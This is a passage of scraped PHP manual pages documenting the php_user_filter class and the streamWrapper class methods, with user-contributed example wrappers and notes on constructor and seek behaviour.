    }

    function stream_seek($offset, $step)
    {
        //No need to be implemented
    }
}

stream_register_wrapper('db', 'DBStream');

$fr = fopen('db://testuser@localhost/testdb', 'r');
$fw = fopen('db://testuser:testpassword@localhost/testdb', 'w');
//The two forms above are accepted : for the former, the default password "" will be used

$alg = hash_algos();
$al = $alg[array_rand($alg)];
$data = hash($al, rand(rand(0, 9), rand(10, 999))); // Some random data to be written
fwrite($fw, $data); // Writing the data to the wrapper
while($a = fread($fr, 256)){ //A loop for reading from the wrapper
    echo $a . '<br />';
}
?>

Hope it helps, cheers ;)


The php_user_filter class

(PHP 5)

Introduction

Children of this class are passed to stream_filter_register().

Class synopsis

php_user_filter {
/* Properties */
public $filtername ;
public $params ;
/* Methods */
public int filter ( resource $in , resource $out , int &$consumed , bool $closing )
public void onClose ( void )
public bool onCreate ( void )
}

Properties

filtername

Name of the filter registered by stream_filter_append().

params

Table of Contents

  • php_user_filter::filter — Called when applying the filter
  • php_user_filter::onClose — Called when closing the filter
  • php_user_filter::onCreate — Called when creating the filter

User Contributed Notes

There are no user contributed notes for this page.


Called when applying the filter

  • « php_user_filter
  • php_user_filter::onClose »
  • PHP Manual
  • php_user_filter
  • Called when applying the filter

php_user_filter::filter

(PHP 5)

php_user_filter::filter — Called when applying the filter

Description

public int php_user_filter::filter ( resource $in , resource $out , int &$consumed , bool $closing )

This method is called whenever data is read from or written to the attached stream (such as with fread() or fwrite()).

Parameters

in

in is a resource pointing to a bucket brigade which contains one or more bucket objects containing data to be filtered.

out

out is a resource pointing to a second bucket brigade into which your modified buckets should be placed.

consumed

consumed, which must always be declared by reference, should be incremented by the length of the data which your filter reads in and alters. In most cases this means you will increment consumed by $bucket->datalen for each $bucket.

closing

If the stream is in the process of closing (and therefore this is the last pass through the filterchain), the closing parameter will be set to TRUE.

Return Values

The filter() method must return one of three values upon completion.

Return Value | Meaning
PSFS_PASS_ON | Filter processed successfully with data available in the out bucket brigade.
PSFS_FEED_ME | Filter processed successfully, however no data was available to return. More data is required from the stream or prior filter.
PSFS_ERR_FATAL (default) | The filter experienced an unrecoverable error and cannot continue.

User Contributed Notes

There are no user contributed notes for this page.


Called when closing the filter

  • « php_user_filter::filter
  • php_user_filter::onCreate »
  • PHP Manual
  • php_user_filter
  • Called when closing the filter

php_user_filter::onClose

(PHP 5)

php_user_filter::onClose — Called when closing the filter

Description

public void php_user_filter::onClose ( void )

This method is called upon filter shutdown (typically, this is also during stream shutdown), and is executed after the flush method is called. If any resources were allocated or initialized during onCreate() this would be the time to destroy or dispose of them.

Parameters

This function has no parameters.

Return Values

Return value is ignored.

User Contributed Notes

There are no user contributed notes for this page.


Called when creating the filter

  • « php_user_filter::onClose
  • streamWrapper »
  • PHP Manual
  • php_user_filter
  • Called when creating the filter

php_user_filter::onCreate

(PHP 5)

php_user_filter::onCreate — Called when creating the filter

Description

public bool php_user_filter::onCreate ( void )

This method is called during instantiation of the filter class object. If your filter allocates or initializes any other resources (such as a buffer), this is the place to do it.

When your filter is first instantiated, and yourfilter->onCreate() is called, a number of properties will be available as shown in the table below.

Property | Contents
FilterClass->filtername | A string containing the name the filter was instantiated with. Filters may be registered under multiple names or under wildcards. Use this property to determine which name was used.
FilterClass->params | The contents of the params parameter passed to stream_filter_append() or stream_filter_prepend().
FilterClass->stream | The stream resource being filtered. Maybe available only during filter() calls when the closing parameter is set to FALSE.

Parameters

This function has no parameters.

Return Values

Your implementation of this method should return FALSE on failure, or TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


The streamWrapper class

(PHP 4 >= 4.3.2, PHP 5)

Introduction

Allows you to implement your own protocol handlers and streams for use with all the other filesystem functions (such as fopen(), fread() etc.).

Note:

This is NOT a real class, only a prototype of how a class defining its own protocol should be.

Note:

Implementing the methods in other ways then described here can lead to undefined behaviour.

An instance of this class is initialized as soon as a stream function tries to access the protocol it is associated with.

Class synopsis

streamWrapper {
/* Properties */
public resource $context ;
/* Methods */
__construct ( void )
__destruct ( void )
public bool dir_closedir ( void )
public bool dir_opendir ( string $path , int $options )
public string dir_readdir ( void )
public bool dir_rewinddir ( void )
public bool mkdir ( string $path , int $mode , int $options )
public bool rename ( string $path_from , string $path_to )
public bool rmdir ( string $path , int $options )
public resource stream_cast ( int $cast_as )
public void stream_close ( void )
public bool stream_eof ( void )
public bool stream_flush ( void )
public bool stream_lock ( int $operation )
public bool stream_metadata ( string $path , int $option , mixed $value )
public bool stream_open ( string $path , string $mode , int $options , string &$opened_path )
public string stream_read ( int $count )
public bool stream_seek ( int $offset , int $whence = SEEK_SET )
public bool stream_set_option ( int $option , int $arg1 , int $arg2 )
public array stream_stat ( void )
public int stream_tell ( void )
public bool stream_truncate ( int $new_size )
public int stream_write ( string $data )
public bool unlink ( string $path )
public array url_stat ( string $path , int $flags )
}

Properties

resource context

The current context, or NULL if no context was passed to the caller function.

Use the stream_context_get_options() to parse the context.

Note:

This property must be public so PHP can populate it with the actual context resource.

Changelog

Version | Description
5.0.0 | Added the context property.

See Also

  • Example class registered as stream wrapper
  • stream_wrapper_register()
  • stream_wrapper_unregister()
  • stream_wrapper_restore()

Table of Contents

  • streamWrapper::__construct — Constructs a new stream wrapper
  • streamWrapper::__destruct — Destructs an existing stream wrapper
  • streamWrapper::dir_closedir — Close directory handle
  • streamWrapper::dir_opendir — Open directory handle
  • streamWrapper::dir_readdir — Read entry from directory handle
  • streamWrapper::dir_rewinddir — Rewind directory handle
  • streamWrapper::mkdir — Create a directory
  • streamWrapper::rename — Renames a file or directory
  • streamWrapper::rmdir — Removes a directory
  • streamWrapper::stream_cast — Retrieve the underlaying resource
  • streamWrapper::stream_close — Close an resource
  • streamWrapper::stream_eof — Tests for end-of-file on a file pointer
  • streamWrapper::stream_flush — Flushes the output
  • streamWrapper::stream_lock — Advisory file locking
  • streamWrapper::stream_metadata — Change stream options
  • streamWrapper::stream_open — Opens file or URL
  • streamWrapper::stream_read — Read from stream
  • streamWrapper::stream_seek — Seeks to specific location in a stream
  • streamWrapper::stream_set_option — Change stream options
  • streamWrapper::stream_stat — Retrieve information about a file resource
  • streamWrapper::stream_tell — Retrieve the current position of a stream
  • streamWrapper::stream_truncate — Truncate stream
  • streamWrapper::stream_write — Write to stream
  • streamWrapper::unlink — Delete a file
  • streamWrapper::url_stat — Retrieve information about a file

User Contributed Notes

Anonymous 21-Sep-2011 09:02
Here is a very simple stream wrapper which calls your callback function for reads:

<?php

class CallbackUrl
{
    const WRAPPER_NAME = 'callback';

    public $context;
    private $_cb;
    private $_eof = false;

    private static $_isRegistered = false;

    public static function getContext($cb)
    {
        if (!self::$_isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$_isRegistered = true;
        }
        if (!is_callable($cb)) return false;
        return stream_context_create(array(self::WRAPPER_NAME => array('cb' => $cb)));
    }

    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) return false;
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])) return false;
        $this->_cb = $opt[self::WRAPPER_NAME]['cb'];
        return true;
    }

    public function stream_read($count)
    {
        if ($this->_eof || !$count) return '';
        if (($s = call_user_func($this->_cb, $count)) == '') $this->_eof = true;
        return $s;
    }

    public function stream_eof()
    {
        return $this->_eof;
    }
}

class Test {
    private $_s;
    public function __construct($s)
    {
        $this->_s = $s;
    }
    public function read($count) {
        return fread($this->_s, $count);
    }
}

$t = new Test(fopen('/etc/services', 'r'));
$fd = fopen('callback://', 'r', false, CallbackUrl::getContext(array($t, 'read')));
while(($buf = fread($fd, 128)) != '') {
    print $buf;
}
?>
isaac dot z dot no dot foster at spam dot gmail dot please dot com 22-Oct-2010 06:12
It's worth noting that the interface defined by yannick at gmail should not always be implemented by a stream wrapper class, as several of the methods should not be implemented if the class has no use for them (as per the manual).

Specifically, mkdir, rename, rmdir, and unlink are methods that "should not be defined" if the wrapper has no use for them. The consequence is that the appropriate error message will not be returned.

If the interface is implemented, you won't have the flexibility to not implement those methods.

Not trying to be academic, but it was useful for me.
yannick dot battail at gmail dot com 17-Jul-2009 11:38
a php interface for wrapper

<?php
interface WrapperInterface
{
    /**
     * resource context
     *
     * @var resource
     */
    //public $context;

    /**
     * constructor
     *
     */
    public function __construct();

    /**
     *
     *
     * @return bool
     */
    public function dir_closedir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function dir_opendir($path , $options);

    /**
     * Enter description here...
     *
     * @return string
     */
    public function dir_readdir();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function dir_rewinddir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $mode
     * @param int $options
     * @return bool
     */
    public function mkdir($path , $mode , $options);

    /**
     * Enter description here...
     *
     * @param string $path_from
     * @param string $path_to
     * @return bool
     */
    public function rename($path_from , $path_to);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function rmdir($path , $options);

    /**
     * Enter description here...
     *
     * @param int $cast_as
     * @return resource
     */
    public function stream_cast($cast_as);

    /**
     * Enter description here...
     *
     */
    public function stream_close();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_eof();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_flush();

    /**
     * Enter description here...
     *
     * @param mode $operation
     * @return bool
     */
    public function stream_lock($operation);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param string $mode
     * @param int $options
     * @param string &$opened_path
     * @return bool
     */
    public function stream_open($path , $mode , $options , &$opened_path);

    /**
     * Enter description here...
     *
     * @param int $count
     * @return string
     */
    public function stream_read($count);

    /**
     * Enter description here...
     *
     * @param int $offset
     * @param int $whence = SEEK_SET
     * @return bool
     */
    public function stream_seek($offset , $whence = SEEK_SET);

    /**
     * Enter description here...
     *
     * @param int $option
     * @param int $arg1
     * @param int $arg2
     * @return bool
     */
    public function stream_set_option($option , $arg1 , $arg2);

    /**
     * Enter description here...
     *
     * @return array
     */
    public function stream_stat();

    /**
     * Enter description here...
     *
     * @return int
     */
    public function stream_tell();

    /**
     * Enter description here...
     *
     * @param string $data
     * @return int
     */
    public function stream_write($data);

    /**
     * Enter description here...
     *
     * @param string $path
     * @return bool
     */
    public function unlink($path);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $flags
     * @return array
     */
    public function url_stat($path , $flags);
}

?>


Constructs a new stream wrapper

  • « streamWrapper
  • streamWrapper::__destruct »
  • PHP Manual
  • streamWrapper
  • Constructs a new stream wrapper

streamWrapper::__construct

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::__construct — Constructs a new stream wrapper

Description

streamWrapper::__construct ( void )

Called when opening the stream wrapper, right before streamWrapper::stream_open().

Parameters

This function has no parameters.

User Contributed Notes

Anonymous 13-Jul-2013 03:50
Note, https://bugs.php.net/bug.php?id=40459 shows that __construct() not being called in all cases was a bug, and it was fixed in August 2012.
codeslinger at compsalot dot com 20-Nov-2009 07:27
Just to clarify what was said above, as far as I can tell,  __construct is *only* called before stream_open.

It does not get called for other functions such as stream::url_stat  or stream::unlink, even though those functions do create a new object.

This behavior is contrary to normal expectations for php object creation.  But based on the documentation above I can only assume that it is by design.


Destructs an existing stream wrapper

  • « streamWrapper::__construct
  • streamWrapper::dir_closedir »
  • PHP Manual
  • streamWrapper
  • Destructs an existing stream wrapper

streamWrapper::__destruct

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::__destruct — Destructs an existing stream wrapper

Description

streamWrapper::__destruct ( void )

Called when closing the stream wrapper, right before streamWrapper::stream_flush().

Parameters

This function has no parameters.

User Contributed Notes

There are no user contributed notes for this page.


Close directory handle

  • « streamWrapper::__destruct
  • streamWrapper::dir_opendir »
  • PHP Manual
  • streamWrapper
  • Close directory handle

streamWrapper::dir_closedir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_closedir — Close directory handle

Description

public bool streamWrapper::dir_closedir ( void )

This method is called in response to closedir().

Any resources which were locked, or allocated, during opening and use of the directory stream should be released.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • closedir() - Close directory handle
  • streamWrapper::dir_opendir() - Open directory handle

User Contributed Notes

There are no user contributed notes for this page.


Open directory handle

  • « streamWrapper::dir_closedir
  • streamWrapper::dir_readdir »
  • PHP Manual
  • streamWrapper
  • Open directory handle

streamWrapper::dir_opendir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_opendir — Open directory handle

Description

public bool streamWrapper::dir_opendir ( string $path , int $options )

This method is called in response to opendir().

Parameters

path

Specifies the URL that was passed to opendir().

Note:

The URL can be broken apart with parse_url().

options

Whether or not to enforce safe_mode (0x04).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • opendir() - Open directory handle
  • streamWrapper::dir_closedir() - Close directory handle
  • parse_url() - Parse a URL and return its components

User Contributed Notes

There are no user contributed notes for this page.


Read entry from directory handle

  • « streamWrapper::dir_opendir
  • streamWrapper::dir_rewinddir »
  • PHP Manual
  • streamWrapper
  • Read entry from directory handle

streamWrapper::dir_readdir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_readdir — Read entry from directory handle

Description

public string streamWrapper::dir_readdir ( void )

This method is called in response to readdir().

Parameters

This function has no parameters.

Return Values

Should return string representing the next filename, or FALSE if there is no next file.

Note:

The return value will be casted to string.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Examples

Example #1 Listing files from tar archives

<?php
class streamWrapper {
    protected $fp;

    public function dir_opendir($path, $options) {
        $url = parse_url($path);

        $path = $url["host"] . $url["path"];

        if (!is_readable($path)) {
            trigger_error("$path isn't readable for me", E_USER_NOTICE);
            return false;
        }
        if (!is_file($path)) {
            trigger_error("$path isn't a file", E_USER_NOTICE);
            return false;
        }

        $this->fp = fopen($path, "rb");
        return true;
    }

    public function dir_readdir() {
        // Extract the header for this entry
        $header      = fread($this->fp, 512);
        $data = unpack("a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1filetype/a100link/a100linkedfile", $header);

        // Trim the filename and filesize
        $filename    = trim($data["filename"]);

        // No filename? We are the end of the archive
        if (!$filename) {
            return false;
        }

        $octal_bytes = trim($data["size"]);
        // Filesize is defined in octects
        $bytes       = octdec($octal_bytes);

        // tar rounds up filesizes up to multiple of 512 bytes (zero filled)
        $rest        = $bytes % 512;
        if ($rest > 0) {
            $bytes      += 512 - $rest;
        }

        // Seek over the file
        fseek($this->fp, $bytes, SEEK_CUR);

        return $filename;
    }

    public function dir_closedir() {
        return fclose($this->fp);
    }

    public function dir_rewinddir() {
        return fseek($this->fp, 0, SEEK_SET);
    }
}

stream_wrapper_register("tar", "streamWrapper");
$handle = opendir("tar://example.tar");
while (false !== ($file = readdir($handle))) {
    var_dump($file);
}

echo "Rewinding..\n";
rewind($handle);
var_dump(readdir($handle));

closedir($handle);
?>

The above example will output something similar to:

string(13) "construct.xml"
string(16) "dir-closedir.xml"
string(15) "dir-opendir.xml"
string(15) "dir-readdir.xml"
string(17) "dir-rewinddir.xml"
string(9) "mkdir.xml"
string(10) "rename.xml"
string(9) "rmdir.xml"
string(15) "stream-cast.xml"
string(16) "stream-close.xml"
string(14) "stream-eof.xml"
string(16) "stream-flush.xml"
string(15) "stream-lock.xml"
string(15) "stream-open.xml"
string(15) "stream-read.xml"
string(15) "stream-seek.xml"
string(21) "stream-set-option.xml"
string(15) "stream-stat.xml"
string(15) "stream-tell.xml"
string(16) "stream-write.xml"
string(10) "unlink.xml"
string(12) "url-stat.xml"
Rewinding..
string(13) "construct.xml"

See Also

  • readdir() - Read entry from directory handle

User Contributed Notes

There are no user contributed notes for this page.


Rewind directory handle

  • « streamWrapper::dir_readdir
  • streamWrapper::mkdir »
  • PHP Manual
  • streamWrapper
  • Rewind directory handle

streamWrapper::dir_rewinddir

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::dir_rewinddir — Rewind directory handle

Description

public bool streamWrapper::dir_rewinddir ( void )

This method is called in response to rewinddir().

Should reset the output generated by streamWrapper::dir_readdir(). i.e.: The next call to streamWrapper::dir_readdir() should return the first entry in the location returned by streamWrapper::dir_opendir().

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • rewinddir() - Rewind directory handle
  • streamWrapper::dir_readdir() - Read entry from directory handle

User Contributed Notes

There are no user contributed notes for this page.


Create a directory

  • « streamWrapper::dir_rewinddir
  • streamWrapper::rename »
  • PHP Manual
  • streamWrapper
  • Create a directory

streamWrapper::mkdir

(PHP 5)

streamWrapper::mkdir — Create a directory

Description

public bool streamWrapper::mkdir ( string $path , int $mode , int $options )

This method is called in response to mkdir().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support creating directories.

Parameters

path

Directory which should be created.

mode

The value passed to mkdir().

options

A bitwise mask of values, such as STREAM_MKDIR_RECURSIVE.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • mkdir() - Makes directory
  • streamwrapper::rmdir() - Removes a directory

User Contributed Notes

There are no user contributed notes for this page.


Renames a file or directory

  • « streamWrapper::mkdir
  • streamWrapper::rmdir »
  • PHP Manual
  • streamWrapper
  • Renames a file or directory

streamWrapper::rename

(PHP 5)

streamWrapper::rename — Renames a file or directory

Description

public bool streamWrapper::rename ( string $path_from , string $path_to )

This method is called in response to rename().

Should attempt to rename path_from to path_to

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support renaming files.

Parameters

path_from

The URL to the current file.

path_to

The URL which the path_from should be renamed to.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • rename() - Renames a file or directory

User Contributed Notes

There are no user contributed notes for this page.


Removes a directory

  • « streamWrapper::rename
  • streamWrapper::stream_cast »
  • PHP Manual
  • streamWrapper
  • Removes a directory

streamWrapper::rmdir

(PHP 5)

streamWrapper::rmdir — Removes a directory

Description

public bool streamWrapper::rmdir ( string $path , int $options )

This method is called in response to rmdir().

Note:

In order for the appropriate error message to be returned this method should not be defined if the wrapper does not support removing directories.

Parameters

path

The directory URL which should be removed.

options

A bitwise mask of values, such as STREAM_MKDIR_RECURSIVE.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • rmdir() - Removes directory
  • streamwrapper::mkdir() - Create a directory
  • streamwrapper::unlink() - Delete a file

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the underlaying resource

  • « streamWrapper::rmdir
  • streamWrapper::stream_close »
  • PHP Manual
  • streamWrapper
  • Retrieve the underlaying resource

streamWrapper::stream_cast

(PHP 5 >= 5.3.0)

streamWrapper::stream_cast — Retrieve the underlaying resource

Description

public resource streamWrapper::stream_cast ( int $cast_as )

This method is called in response to stream_select().

Parameters

cast_as

Can be STREAM_CAST_FOR_SELECT when stream_select() is calling stream_cast() or STREAM_CAST_AS_STREAM when stream_cast() is called for other uses.

Return Values

Should return the underlying stream resource used by the wrapper, or FALSE.

See Also

  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

User Contributed Notes

There are no user contributed notes for this page.


Close an resource

  • « streamWrapper::stream_cast
  • streamWrapper::stream_eof »
  • PHP Manual
  • streamWrapper
  • Close an resource

streamWrapper::stream_close

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_close — Close an resource

Description

public void streamWrapper::stream_close ( void )

This method is called in response to fclose().

All resources that were locked, or allocated, by the wrapper should be released.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • fclose() - Closes an open file pointer
  • streamWrapper::dir_closedir() - Close directory handle

User Contributed Notes

There are no user contributed notes for this page.


Tests for end-of-file on a file pointer

  • « streamWrapper::stream_close
  • streamWrapper::stream_flush »
  • PHP Manual
  • streamWrapper
  • Tests for end-of-file on a file pointer

streamWrapper::stream_eof

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_eof — Tests for end-of-file on a file pointer

Description

public bool streamWrapper::stream_eof ( void )

This method is called in response to feof().

Parameters

This function has no parameters.

Return Values

Should return TRUE if the read/write position is at the end of the stream and if no more data is available to be read, or FALSE otherwise.

Notes

Warning

When reading the whole file (for example, with file_get_contents()), PHP will call streamWrapper::stream_read() followed by streamWrapper::stream_eof() in a loop but as long as streamWrapper::stream_read() returns a non-empty string, the return value of streamWrapper::stream_eof() is ignored.

See Also

  • feof() - Tests for end-of-file on a file pointer

User Contributed Notes

There are no user contributed notes for this page.


Flushes the output

  • « streamWrapper::stream_eof
  • streamWrapper::stream_lock »
  • PHP Manual
  • streamWrapper
  • Flushes the output

streamWrapper::stream_flush

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_flush — Flushes the output

Description

public bool streamWrapper::stream_flush ( void )

This method is called in response to fflush().

If you have cached data in your stream but not yet stored it into the underlying storage, you should do so now.

Parameters

This function has no parameters.

Return Values

Should return TRUE if the cached data was successfully stored (or if there was no data to store), or FALSE if the data could not be stored.

Notes

Note:

If not implemented, FALSE is assumed as the return value.

See Also

  • fflush() - Flushes the output to a file

User Contributed Notes

There are no user contributed notes for this page.


Advisory file locking

  • « streamWrapper::stream_flush
  • streamWrapper::stream_metadata »
  • PHP Manual
  • streamWrapper
  • Advisory file locking

streamWrapper::stream_lock

(PHP 5)

streamWrapper::stream_lock — Advisory file locking

Description

public bool streamWrapper::stream_lock ( int $operation )

This method is called in response to flock(), when file_put_contents() (when flags contains LOCK_EX), stream_set_blocking() and when closing the stream (LOCK_UN).

Parameters

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).
  • LOCK_NB if you don't want flock() to block while locking. (not supported on Windows)

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

See Also

  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • flock() - Portable advisory file locking

User Contributed Notes

There are no user contributed notes for this page.


Change stream options

  • « streamWrapper::stream_lock
  • streamWrapper::stream_open »
  • PHP Manual
  • streamWrapper
  • Change stream options

streamWrapper::stream_metadata

(PHP 5 >= 5.4.0)

streamWrapper::stream_metadata — Change stream options

Description

public bool streamWrapper::stream_metadata ( string $path , int $option , mixed $value )

This method is called to set metadata on the stream. It is called when one of the following functions is called on a stream URL:

  • touch()
  • chmod()
  • chown()
  • chgrp()
Please note that some of these operations may not be available on your system.

Note: The function is available since PHP 5.4.0.

Parameters

path

The file path or URL to set metadata. Note that in the case of a URL, it must be a :// delimited URL. Other URL forms are not supported.

option

One of:

  • STREAM_META_TOUCH (The method was called in response to touch())
  • STREAM_META_OWNER_NAME (The method was called in response to chown() with string parameter)
  • STREAM_META_OWNER (The method was called in response to chown())
  • STREAM_META_GROUP_NAME (The method was called in response to chgrp())
  • STREAM_META_GROUP (The method was called in response to chgrp())
  • STREAM_META_ACCESS (The method was called in response to chmod())

value

If option is

  • STREAM_META_TOUCH: Array consisting of two arguments of the touch() function.
  • STREAM_META_OWNER_NAME or STREAM_META_GROUP_NAME: The name of the owner user/group as string.
  • STREAM_META_OWNER or STREAM_META_GROUP: The value owner user/group argument as integer.
  • STREAM_META_ACCESS: The argument of the chmod() as integer.

Return Values

Returns TRUE on success or FALSE on failure. If option is not implemented, FALSE should be returned.

See Also

  • touch() - Sets access and modification time of file
  • chmod() - Changes file mode
  • chown() - Changes file owner
  • chgrp() - Changes file group

User Contributed Notes

There are no user contributed notes for this page.


Opens file or URL

  • « streamWrapper::stream_metadata
  • streamWrapper::stream_read »
  • PHP Manual
  • streamWrapper
  • Opens file or URL

streamWrapper::stream_open

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_open — Opens file or URL

Description

public bool streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path )

This method is called immediately after the wrapper is initialized (f.e. by fopen() and file_get_contents()).

Parameters

path

Specifies the URL that was passed to the original function.

Note:

The URL can be broken apart with parse_url(). Note that only URLs delimited by :// are supported. : and :/ while technically valid URLs, are not.

mode

The mode used to open the file, as detailed for fopen().

Note:

Remember to check if the mode is valid for the path requested.

options

Holds additional flags set by the streams API. It can hold one or more of the following values OR'd together.

Flag | Description
STREAM_USE_PATH | If path is relative, search for the resource using the include_path.
STREAM_REPORT_ERRORS | If this flag is set, you are responsible for raising errors using trigger_error() during opening of the stream. If this flag is not set, you should not raise any errors.

opened_path

If the path is opened successfully, and STREAM_USE_PATH is set in options, opened_path should be set to the full path of the file/resource that was actually opened.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Notes

Note:

The streamWrapper::$context property is updated if a valid context is passed to the caller function.

See Also

  • fopen() - Opens file or URL
  • parse_url() - Parse a URL and return its components

User Contributed Notes

There are no user contributed notes for this page.


Read from stream

  • « streamWrapper::stream_open
  • streamWrapper::stream_seek »
  • PHP Manual
  • streamWrapper
  • Read from stream

streamWrapper::stream_read

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_read — Read from stream

Description

public string streamWrapper::stream_read ( int $count )

This method is called in response to fread() and fgets().

Note:

Remember to update the read/write position of the stream (by the number of bytes that were successfully read).

Parameters

count

How many bytes of data from the current position should be returned.

Return Values

If there are less than count bytes available, return as many as are available. If no more data is available, return either FALSE or an empty string.

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

Note:

If the return value is longer then count an E_WARNING error will be emitted, and excess data will be lost.

Notes

Note:

streamWrapper::stream_eof() is called directly after calling streamWrapper::stream_read() to check if EOF has been reached. If not implemented, EOF is assumed.

Warning

When reading the whole file (for example, with file_get_contents()), PHP will call streamWrapper::stream_read() followed by streamWrapper::stream_eof() in a loop but as long as streamWrapper::stream_read() returns a non-empty string, the return value of streamWrapper::stream_eof() is ignored.

See Also

  • fread() - Binary-safe file read
  • fgets() - Gets line from file pointer

User Contributed Notes

There are no user contributed notes for this page.


Seeks to specific location in a stream

  • « streamWrapper::stream_read
  • streamWrapper::stream_set_option »
  • PHP Manual
  • streamWrapper
  • Seeks to specific location in a stream

streamWrapper::stream_seek

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_seek — Seeks to specific location in a stream

Description

public bool streamWrapper::stream_seek ( int $offset , int $whence = SEEK_SET )

This method is called in response to fseek().

The read/write position of the stream should be updated according to the offset and whence.

Parameters

offset

The stream offset to seek to.

whence

Possible values:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

Return Values

Return TRUE if the position was updated, FALSE otherwise.

Notes

Note:

If not implemented, FALSE is assumed as the return value.

Note:

Upon success,
streamWrapper::stream_tell() is called directly after
calling streamWrapper::stream_seek(). If
streamWrapper::stream_tell() fails, the return
value to the caller function will be set to FALSE

Note:

Not all seeks operations on the stream will result in this function being called. PHP streams have read buffering enabled by default (see also stream_set_read_buffer()) and seeking may be done by merely moving the buffer pointer.

See Also

  • fseek() - Seeks on a file pointer

User Contributed Notes

fb at tigermedia dot dk 27-May-2014 05:55
Please notice that the return value of this function is a boolean but the return value of fseek is 0 for ok and -1 for failure.

Please use this implementation when working with files:

function stream_seek($offset, $whence) {
        if(0 === fseek($this->_handler, $offset, $whence)){
            return true;
        }
        return false;
}


Change stream options

  • « streamWrapper::stream_seek
  • streamWrapper::stream_stat »
  • PHP Manual
  • streamWrapper
  • Change stream options

streamWrapper::stream_set_option

(PHP 5 >= 5.3.0)

streamWrapper::stream_set_option — Change stream options

Description

public bool streamWrapper::stream_set_option ( int $option , int $arg1 , int $arg2 )

This method is called to set options on the stream.

Parameters

option

One of:

  • STREAM_OPTION_BLOCKING (The method was called in response to stream_set_blocking())
  • STREAM_OPTION_READ_TIMEOUT (The method was called in response to stream_set_timeout())
  • STREAM_OPTION_WRITE_BUFFER (The method was called in response to stream_set_write_buffer())

arg1

If option is

  • STREAM_OPTION_BLOCKING: requested blocking mode (1 meaning block 0 not blocking).
  • STREAM_OPTION_READ_TIMEOUT: the timeout in seconds.
  • STREAM_OPTION_WRITE_BUFFER: buffer mode (STREAM_BUFFER_NONE or STREAM_BUFFER_FULL).

arg2

If option is

  • STREAM_OPTION_BLOCKING: This option is not set.
  • STREAM_OPTION_READ_TIMEOUT: the timeout in microseconds.
  • STREAM_OPTION_WRITE_BUFFER: the requested buffer size.

Return Values

Returns TRUE on success or FALSE on failure. If option is not implemented, FALSE should be returned.

See Also

  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • stream_set_write_buffer() - Sets write file buffering on the given stream

User Contributed Notes

There are no user contributed notes for this page.


Retrieve information about a file resource

  • « streamWrapper::stream_set_option
  • streamWrapper::stream_tell »
  • PHP Manual
  • streamWrapper
  • Retrieve information about a file resource

streamWrapper::stream_stat

(PHP 4 >= 4.3.2, PHP 5)

streamWrapper::stream_stat — Retrieve information about a file resource

Description

public array streamWrapper::stream_stat ( void )

This method is called in response to fstat().

Parameters

This function has no parameters.

Return Values

See stat().

Errors/Exceptions

Emits E_WARNING if call to this method fails (i.e. not implemented).

See Also

  • stat() - Gives information about a file
